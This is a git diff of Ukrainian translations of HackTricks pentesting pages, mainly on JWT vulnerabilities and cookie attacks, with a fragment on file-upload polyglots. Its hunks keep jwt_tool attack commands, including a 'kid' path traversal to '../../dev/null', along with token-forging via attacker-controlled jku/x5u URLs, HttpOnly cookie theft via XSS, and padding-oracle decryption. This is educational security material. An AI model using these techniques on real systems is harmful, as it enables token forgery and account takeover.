Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики системи щодо розширень файлів. Якщо система сувора щодо дозволених розширень, то лише структурна двоїстість поліглота може не бути достатньою для гарантії його завантаження.
|
||||
|
||||
|
@ -329,23 +329,23 @@ pop graphic-context
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вчіться та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Підтримка HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,23 @@
|
|||
# JWT Вразливості (Json Web Tokens)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -26,7 +26,7 @@
|
|||
|
||||
### **Швидкі перемоги**
|
||||
|
||||
Запустіть [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) в режимі `All Tests!` і чекайте на зелені рядки.
|
||||
Run [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) with mode `All Tests!` and wait for green lines
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
|
@ -78,7 +78,7 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
|||
### Змінити алгоритм RS256(асиметричний) на HS256(симетричний) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
Алгоритм HS256 використовує секретний ключ для підпису та перевірки кожного повідомлення.\
|
||||
Алгоритм RS256 використовує приватний ключ для підпису повідомлення та використовує публічний ключ для аутентифікації.
|
||||
Алгоритм RS256 використовує приватний ключ для підпису повідомлення і використовує публічний ключ для аутентифікації.
|
||||
|
||||
Якщо ви зміните алгоритм з RS256 на HS256, код на бекенді використовує публічний ключ як секретний ключ, а потім використовує алгоритм HS256 для перевірки підпису.
|
||||
|
||||
|
@ -96,14 +96,14 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
|||
|
||||
### JWKS Спуфінг
|
||||
|
||||
Інструкції детально описують метод оцінки безпеки JWT токенів, зокрема тих, що використовують заяву заголовка "jku". Ця заява повинна посилатися на файл JWKS (JSON Web Key Set), який містить публічний ключ, необхідний для перевірки токена.
|
||||
Інструкції детально описують метод оцінки безпеки JWT токенів, зокрема тих, що використовують заголовок "jku". Цей заголовок має посилатися на файл JWKS (JSON Web Key Set), який містить публічний ключ, необхідний для перевірки токена.
|
||||
|
||||
* **Оцінка токенів з заголовком "jku"**:
|
||||
* Перевірте URL заяви "jku", щоб переконатися, що він веде до відповідного файлу JWKS.
|
||||
* Змініть значення "jku" токена, щоб направити його на контрольовану веб-службу, що дозволяє спостерігати за трафіком.
|
||||
* Змініть значення "jku" токена, щоб направити його на контрольований веб-сервіс, що дозволяє спостерігати за трафіком.
|
||||
* **Моніторинг HTTP-взаємодії**:
|
||||
* Спостереження за HTTP-запитами до вашого вказаного URL вказує на спроби сервера отримати ключі з наданого вами посилання.
|
||||
* Коли ви використовуєте `jwt_tool` для цього процесу, важливо оновити файл `jwtconf.ini` з вашим особистим розташуванням JWKS для полегшення тестування.
|
||||
* Коли ви використовуєте `jwt_tool` для цього процесу, важливо оновити файл `jwtconf.ini` з вашим особистим місцем розташування JWKS для полегшення тестування.
|
||||
* **Команда для `jwt_tool`**:
|
||||
* Виконайте наступну команду, щоб змоделювати сценарій з `jwt_tool`:
|
||||
|
||||
|
@ -113,15 +113,15 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
|
||||
### Огляд проблем з Kid
|
||||
|
||||
Додаткова заява заголовка, відома як `kid`, використовується для ідентифікації конкретного ключа, що стає особливо важливим у середовищах, де існує кілька ключів для перевірки підпису токена. Ця заява допомагає вибрати відповідний ключ для перевірки підпису токена.
|
||||
Додаткова заявка заголовка, відома як `kid`, використовується для ідентифікації конкретного ключа, що стає особливо важливим у середовищах, де існує кілька ключів для перевірки підпису токена. Ця заявка допомагає вибрати відповідний ключ для перевірки підпису токена.
|
||||
|
||||
#### Виявлення ключа через "kid"
|
||||
|
||||
Коли заява `kid` присутня в заголовку, рекомендується шукати у веб-директорії відповідний файл або його варіації. Наприклад, якщо вказано `"kid":"key/12345"`, слід шукати файли _/key/12345_ та _/key/12345.pem_ у кореневій директорії веб-сайту.
|
||||
Коли у заголовку присутня заявка `kid`, рекомендується шукати у веб-директорії відповідний файл або його варіації. Наприклад, якщо вказано `"kid":"key/12345"`, слід шукати файли _/key/12345_ та _/key/12345.pem_ у кореневій директорії веб-сервера.
|
||||
|
||||
#### Перехід по шляху з "kid"
|
||||
|
||||
Заява `kid` також може бути використана для навігації по файловій системі, що потенційно дозволяє вибір довільного файлу. Можливо протестувати на наявність з'єднання або виконати атаки Server-Side Request Forgery (SSRF), змінивши значення `kid`, щоб націлитися на конкретні файли або служби. Зміна JWT для зміни значення `kid`, зберігаючи оригінальний підпис, може бути досягнута за допомогою прапора `-T` у jwt_tool, як показано нижче:
|
||||
Заявка `kid` також може бути використана для навігації по файловій системі, що потенційно дозволяє вибір довільного файлу. Можливо протестувати на наявність з'єднання або виконати атаки Server-Side Request Forgery (SSRF), змінивши значення `kid`, щоб націлитися на конкретні файли або сервіси. Зміна JWT для зміни значення `kid`, зберігаючи оригінальний підпис, може бути досягнута за допомогою прапора `-T` у jwt_tool, як показано нижче:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
@ -167,9 +167,9 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. URI, що вказує на набір публічних сертифікатів X.509 (стандарт формату сертифіката), закодованих у форматі PEM. Перший сертифікат у наборі повинен бути тим, що використовується для підписання цього JWT. Наступні сертифікати підписують попередній, таким чином завершуючи ланцюг сертифікатів. X.509 визначено в RFC 52807. Для передачі сертифікатів потрібна транспортна безпека.
|
||||
X.509 URL. URI, що вказує на набір публічних сертифікатів X.509 (стандарт формату сертифіката), закодованих у формі PEM. Перший сертифікат у наборі повинен бути тим, що використовується для підписання цього JWT. Наступні сертифікати підписують попередній, таким чином завершуючи ланцюг сертифікатів. X.509 визначено в RFC 52807. Для передачі сертифікатів потрібна транспортна безпека.
|
||||
|
||||
Спробуйте **змінити цей заголовок на URL під вашим контролем** і перевірте, чи буде отримано будь-який запит. У такому випадку ви **можете підробити JWT**.
|
||||
Спробуйте **змінити цей заголовок на URL під вашим контролем** і перевірте, чи буде отримано будь-який запит. У такому випадку ви **зможете підробити JWT**.
|
||||
|
||||
Щоб підробити новий токен, використовуючи сертифікат, контрольований вами, вам потрібно створити сертифікат і витягти публічні та приватні ключі:
|
||||
```bash
|
||||
|
@ -236,7 +236,7 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
### JTI (JWT ID)
|
||||
|
||||
Заява JTI (JWT ID) надає унікальний ідентифікатор для токена JWT. Його можна використовувати для запобігання повторному використанню токена.\
|
||||
Однак уявіть ситуацію, коли максимальна довжина ID становить 4 (0001-9999). Запити 0001 та 10001 будуть використовувати однаковий ID. Тому, якщо бекенд збільшує ID з кожним запитом, ви могли б зловживати цим для **повторного використання запиту** (потрібно надіслати 10000 запитів між кожним успішним повтором).
|
||||
Однак уявіть ситуацію, коли максимальна довжина ID становить 4 (0001-9999). Запити 0001 та 10001 будуть використовувати однаковий ID. Тому, якщо бекенд збільшує ID з кожним запитом, ви могли б зловживати цим, щоб **повторити запит** (потрібно надіслати 10000 запитів між кожним успішним повтором).
|
||||
|
||||
### Зареєстровані заяви JWT
|
||||
|
||||
|
@ -246,13 +246,13 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
|
||||
**Атаки перехресного реле**
|
||||
|
||||
Було помічено, що деякі веб-додатки покладаються на надійний сервіс JWT для генерації та управління своїми токенами. Зафіксовано випадки, коли токен, згенерований для одного клієнта сервісом JWT, був прийнятий іншим клієнтом того ж сервісу JWT. Якщо спостерігається видача або поновлення JWT через сторонній сервіс, слід дослідити можливість реєстрації облікового запису на іншому клієнті цього сервісу, використовуючи те саме ім'я користувача/електронну пошту. Потім слід спробувати повторно використати отриманий токен у запиті до цілі, щоб перевірити, чи буде він прийнятий.
|
||||
Було помічено, що деякі веб-додатки покладаються на надійний сервіс JWT для генерації та управління своїми токенами. Зафіксовано випадки, коли токен, згенерований для одного клієнта сервісом JWT, був прийнятий іншим клієнтом того ж сервісу JWT. Якщо спостерігається видача або поновлення JWT через сторонній сервіс, слід дослідити можливість реєстрації облікового запису на іншому клієнті цього сервісу, використовуючи те саме ім'я користувача/електронну пошту. Потім слід спробувати повторити отриманий токен у запиті до цілі, щоб перевірити, чи буде він прийнятий.
|
||||
|
||||
* Критична проблема може бути вказана прийняттям вашого токена, що потенційно дозволяє підробку облікового запису будь-якого користувача. Однак слід зазначити, що для більш широкого тестування може знадобитися дозвіл, якщо реєстрація на сторонньому додатку, оскільки це може потрапити в юридичну сіру зону.
|
||||
* Критична проблема може бути вказана прийняттям вашого токена, що потенційно дозволяє підробку облікового запису будь-якого користувача. Однак слід зазначити, що може знадобитися дозвіл на більш широке тестування, якщо реєстрація на сторонньому додатку, оскільки це може потрапити в юридичну сіру зону.
|
||||
|
||||
**Перевірка терміну дії токенів**
|
||||
|
||||
Термін дії токена перевіряється за допомогою заяви "exp" Payload. Оскільки JWT часто використовуються без інформації про сесію, потрібна обережна обробка. У багатьох випадках захоплення та повторне використання JWT іншого користувача може дозволити видавати себе за цього користувача. Рекомендації JWT RFC пропонують зменшити атаки повторного використання JWT, використовуючи заяву "exp" для встановлення часу закінчення дії токена. Крім того, реалізація відповідних перевірок додатком для забезпечення обробки цього значення та відхилення прострочених токенів є критично важливою. Якщо токен містить заяву "exp" і обмеження часу тестування дозволяють, рекомендується зберігати токен і повторно використовувати його після закінчення терміну дії. Вміст токена, включаючи парсинг мітки часу та перевірку терміну дії (мітка часу в UTC), можна прочитати за допомогою прапора -R інструмента jwt_tool.
|
||||
Термін дії токена перевіряється за допомогою заяви "exp" Payload. Оскільки JWT часто використовуються без інформації про сесію, потрібна обережна обробка. У багатьох випадках захоплення та повторне використання JWT іншого користувача може дозволити видавати себе за цього користувача. Рекомендації JWT RFC пропонують зменшити атаки повторного використання JWT, використовуючи заяву "exp" для встановлення часу закінчення дії токена. Крім того, реалізація відповідних перевірок додатком для забезпечення обробки цього значення та відхилення прострочених токенів є критично важливою. Якщо токен містить заяву "exp" і обмеження часу тестування дозволяють, рекомендується зберігати токен і повторно використовувати його після закінчення терміну дії. Зміст токена, включаючи парсинг мітки часу та перевірку терміну дії (мітка часу в UTC), можна прочитати за допомогою прапора -R інструменту jwt_tool.
|
||||
|
||||
* Існує ризик безпеки, якщо додаток все ще перевіряє токен, оскільки це може означати, що токен ніколи не може закінчитися.
|
||||
|
||||
|
@ -260,9 +260,9 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та в тому, щоб зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -29,7 +29,7 @@ Cookies мають кілька атрибутів, які контролюют
|
|||
|
||||
### Path
|
||||
|
||||
Конкретний URL-адреса, яка повинна бути присутня в запитуваному URL, щоб заголовок `Cookie` був надісланий, вказується атрибутом `Path`. Цей атрибут розглядає символ `/` як роздільник директорій, що дозволяє відповідати також підкаталогам.
|
||||
Конкретний URL-адрес, який повинен бути присутнім у запитуваному URL, щоб заголовок `Cookie` був надісланий, вказується атрибутом `Path`. Цей атрибут розглядає символ `/` як роздільник директорій, що дозволяє відповідати також у підкаталогах.
|
||||
|
||||
### Ordering Rules
|
||||
|
||||
|
@ -40,8 +40,8 @@ Cookies мають кілька атрибутів, які контролюют
|
|||
|
||||
### SameSite
|
||||
|
||||
* Атрибут `SameSite` визначає, чи надсилаються cookie в запитах, що походять з доменів третіх сторін. Він пропонує три налаштування:
|
||||
* **Strict**: Обмежує надсилання cookie в запитах третіх сторін.
|
||||
* Атрибут `SameSite` визначає, чи надсилаються cookie на запити, що походять з доменів третіх сторін. Він пропонує три налаштування:
|
||||
* **Strict**: Обмежує надсилання cookie на запити з третіх сторін.
|
||||
* **Lax**: Дозволяє надсилати cookie з GET-запитами, ініційованими веб-сайтами третіх сторін.
|
||||
* **None**: Дозволяє надсилати cookie з будь-якого домену третьої сторони.
|
||||
|
||||
|
@ -71,11 +71,11 @@ Cookie з атрибутом _**SameSite**_ **зменшить атаки CSRF**
|
|||
|
||||
#### **Bypasses**
|
||||
|
||||
* Якщо сторінка **надсилає cookie у відповідь** на запит (наприклад, на сторінці **PHPinfo**), можна зловживати XSS, щоб надіслати запит на цю сторінку та **вкрасти cookie** з відповіді (перевірте приклад на [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
* Якщо сторінка **надсилає cookie у відповідь** на запити (наприклад, на сторінці **PHPinfo**), можна зловживати XSS, щоб надіслати запит на цю сторінку та **вкрасти cookie** з відповіді (перевірте приклад на [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
* Це можна обійти за допомогою **TRACE** **HTTP** запитів, оскільки відповідь сервера (якщо цей HTTP-метод доступний) відобразить надіслані cookie. Цю техніку називають **Cross-Site Tracking**.
|
||||
* Цю техніку уникають **сучасні браузери, не дозволяючи надсилати запит TRACE** з JS. Однак деякі обхідні шляхи були знайдені в специфічному програмному забезпеченні, наприклад, надсилаючи `\r\nTRACE` замість `TRACE` до IE6.0 SP2.
|
||||
* Інший спосіб - це експлуатація вразливостей нульового дня браузерів.
|
||||
* Можливо **перезаписати HttpOnly cookie**, виконуючи атаку переповнення Cookie Jar:
|
||||
* Можливо **перезаписати cookie HttpOnly**, виконуючи атаку переповнення Cookie Jar:
|
||||
|
||||
{% content-ref url="cookie-jar-overflow.md" %}
|
||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
|
@ -104,11 +104,11 @@ Cookie, що починаються з `__Secure-`, повинні бути вс
|
|||
|
||||
Отже, одне з захистів cookie з префіксом `__Host-` - це запобігання їх перезапису з піддоменів. Запобігання, наприклад, [**Cookie Tossing attacks**](cookie-tossing.md). У доповіді [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) представлено, що було можливо встановити cookie з префіксом \_\_HOST- з піддомену, обманюючи парсер, наприклад, додаючи "=" на початку або на початку і в кінці...:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Або в PHP було можливо додати **інші символи на початку** назви cookie, які будуть **замінені на символи підкреслення**, що дозволяє перезаписати cookie з префіксом `__HOST-`:
|
||||
Або в PHP було можливо додати **інші символи на початку** назви cookie, які будуть **замінені на символи підкреслення**, що дозволяє перезаписати cookie `__HOST-`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Cookies Attacks
|
||||
|
||||
|
@ -120,7 +120,7 @@ Cookie, що починаються з `__Secure-`, повинні бути вс
|
|||
|
||||
### Session Hijacking
|
||||
|
||||
Ця атака полягає в крадіжці cookie користувача для отримання несанкціонованого доступу до їх облікового запису в додатку. Використовуючи вкрадений cookie, зловмисник може видавати себе за законного користувача.
|
||||
Ця атака полягає у викраденні cookie користувача для отримання несанкціонованого доступу до їх облікового запису в додатку. Використовуючи вкрадений cookie, зловмисник може видавати себе за законного користувача.
|
||||
|
||||
### Session Fixation
|
||||
|
||||
|
@ -146,7 +146,7 @@ Cookie, що починаються з `__Secure-`, повинні бути вс
|
|||
|
||||
Натисніть на попереднє посилання, щоб отримати доступ до сторінки, що пояснює можливі вразливості в JWT.
|
||||
|
||||
JSON Web Tokens (JWT), що використовуються в cookie, також можуть мати вразливості. Для отримання детальної інформації про потенційні вразливості та способи їх експлуатації рекомендується звернутися до пов'язаного документа про хакінг JWT.
|
||||
JSON Web Tokens (JWT), що використовуються в cookie, також можуть мати вразливості. Для отримання детальної інформації про потенційні вразливості та способи їх експлуатації рекомендується звернутися до пов'язаного документа про злом JWT.
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
|
@ -154,7 +154,7 @@ JSON Web Tokens (JWT), що використовуються в cookie, тако
|
|||
|
||||
### Empty Cookies
|
||||
|
||||
(Перевірте деталі в [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Браузери дозволяють створювати cookie без імені, що можна продемонструвати через JavaScript наступним чином:
|
||||
(Перевірте додаткові деталі в [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Браузери дозволяють створювати cookie без імені, що можна продемонструвати через JavaScript наступним чином:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
|
@ -178,9 +178,9 @@ document.cookie = "\ud800=meep";
|
|||
```
|
||||
Це призводить до того, що `document.cookie` виводить порожній рядок, що вказує на постійну корупцію.
|
||||
|
||||
#### Викрадення куків через проблеми з парсингом
|
||||
#### Викрадення Cookie через проблеми з парсингом
|
||||
|
||||
(Дивіться деталі в [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Декілька веб-серверів, включаючи ті, що з Java (Jetty, TomCat, Undertow) та Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), неправильно обробляють рядки куків через застарілу підтримку RFC2965. Вони читають значення кука в подвійних лапках як одне значення, навіть якщо воно містить крапки з комою, які зазвичай повинні розділяти пари ключ-значення:
|
||||
(Дивіться деталі в [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Декілька веб-серверів, включаючи ті, що з Java (Jetty, TomCat, Undertow) та Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), неправильно обробляють рядки cookie через застарілу підтримку RFC2965. Вони читають значення cookie в подвійних лапках як одне значення, навіть якщо воно містить крапки з комою, які зазвичай повинні розділяти пари ключ-значення:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
|
@ -189,7 +189,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
(Дивіться деталі в [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Неправильний парсинг куків серверами, зокрема Undertow, Zope та тими, що використовують Python's `http.cookie.SimpleCookie` і `http.cookie.BaseCookie`, створює можливості для атак ін'єкції куків. Ці сервери не можуть правильно обмежити початок нових куків, що дозволяє зловмисникам підробляти куки:
|
||||
|
||||
* Undertow очікує новий куки відразу після цитованого значення без крапки з комою.
|
||||
* Zope шукає кому, щоб почати парсинг наступного кука.
|
||||
* Zope шукає кому, щоб почати парсинг наступного куки.
|
||||
* Класи куків Python починають парсинг з символу пробілу.
|
||||
|
||||
Ця вразливість особливо небезпечна в веб-додатках, що покладаються на захист CSRF на основі куків, оскільки це дозволяє зловмисникам ін'єктувати підроблені куки CSRF-токенів, потенційно обходячи заходи безпеки. Проблема ускладнюється обробкою Python дублікатів імен куків, де останнє входження перекриває попередні. Це також викликає занепокоєння щодо куків `__Secure-` і `__Host-` в небезпечних контекстах і може призвести до обходу авторизації, коли куки передаються на сервери, що піддаються підробці.
|
||||
|
@ -198,21 +198,21 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
|
||||
#### **Основні перевірки**
|
||||
|
||||
* **Кука** є **такою ж** щоразу, коли ви **увійдете**.
|
||||
* Вийдіть з системи та спробуйте використати ту ж куку.
|
||||
* Спробуйте увійти з 2 пристроїв (або браузерів) до одного й того ж облікового запису, використовуючи ту ж куку.
|
||||
* Перевірте, чи кука містить якусь інформацію, і спробуйте її змінити.
|
||||
* **Кук** є **однаковим** щоразу, коли ви **входите** в систему.
|
||||
* Вийдіть з системи та спробуйте використати той самий кук.
|
||||
* Спробуйте увійти з 2 пристроїв (або браузерів) до одного й того ж облікового запису, використовуючи той самий кук.
|
||||
* Перевірте, чи містить кук якусь інформацію, і спробуйте змінити його.
|
||||
* Спробуйте створити кілька облікових записів з майже однаковими іменами користувачів і перевірте, чи можете ви побачити подібності.
|
||||
* Перевірте опцію "**запам'ятати мене**", якщо вона існує, щоб дізнатися, як вона працює. Якщо вона існує і може бути вразливою, завжди використовуйте куку **запам'ятати мене** без жодної іншої куки.
|
||||
* Перевірте, чи попередня кука працює навіть після зміни пароля.
|
||||
* Перевірте опцію "**запам'ятати мене**", якщо вона існує, щоб дізнатися, як вона працює. Якщо вона існує і може бути вразливою, завжди використовуйте кук **запам'ятати мене** без жодного іншого кука.
|
||||
* Перевірте, чи працює попередній кук навіть після зміни пароля.
|
||||
|
||||
#### **Розширені атаки на куки**
|
||||
#### **Атаки на куки високого рівня**
|
||||
|
||||
Якщо кука залишається такою ж (або майже такою) під час входу, це, ймовірно, означає, що кука пов'язана з якимось полем вашого облікового запису (ймовірно, ім'ям користувача). Тоді ви можете:
|
||||
Якщо кук залишається тим самим (або майже тим самим) під час входу, це, ймовірно, означає, що кук пов'язаний з якимось полем вашого облікового запису (ймовірно, з іменем користувача). Тоді ви можете:
|
||||
|
||||
* Спробуйте створити багато **облікових записів** з дуже **схожими** іменами користувачів і спробуйте **вгадати**, як працює алгоритм.
|
||||
* Спробуйте **брутфорсити ім'я користувача**. Якщо кука зберігається лише як метод аутентифікації для вашого імені користувача, тоді ви можете створити обліковий запис з ім'ям користувача "**Bmin**" і **брутфорсити** кожен окремий **біт** вашої куки, оскільки одна з куків, яку ви спробуєте, буде належати "**admin**".
|
||||
* Спробуйте **Padding** **Oracle** (ви можете розшифрувати вміст куки). Використовуйте **padbuster**.
|
||||
* Спробуйте **брутфорсити ім'я користувача**. Якщо кук зберігається лише як метод аутентифікації для вашого імені користувача, тоді ви можете створити обліковий запис з ім'ям користувача "**Bmin**" і **брутфорсити** кожен окремий **біт** вашого кука, оскільки один з куків, які ви спробуєте, буде належати "**admin**".
|
||||
* Спробуйте **Padding** **Oracle** (ви можете розшифрувати вміст кука). Використовуйте **padbuster**.
|
||||
|
||||
**Padding Oracle - приклади Padbuster**
|
||||
```bash
|
||||
|
@ -228,11 +228,11 @@ Padbuster зробить кілька спроб і запитає вас, як
|
|||
|
||||
Потім він почне розшифровувати cookie (це може зайняти кілька хвилин)
|
||||
|
||||
Якщо атака була успішно виконана, ви можете спробувати зашифрувати рядок на ваш вибір. Наприклад, якщо ви хочете **encrypt** **user=administrator**
|
||||
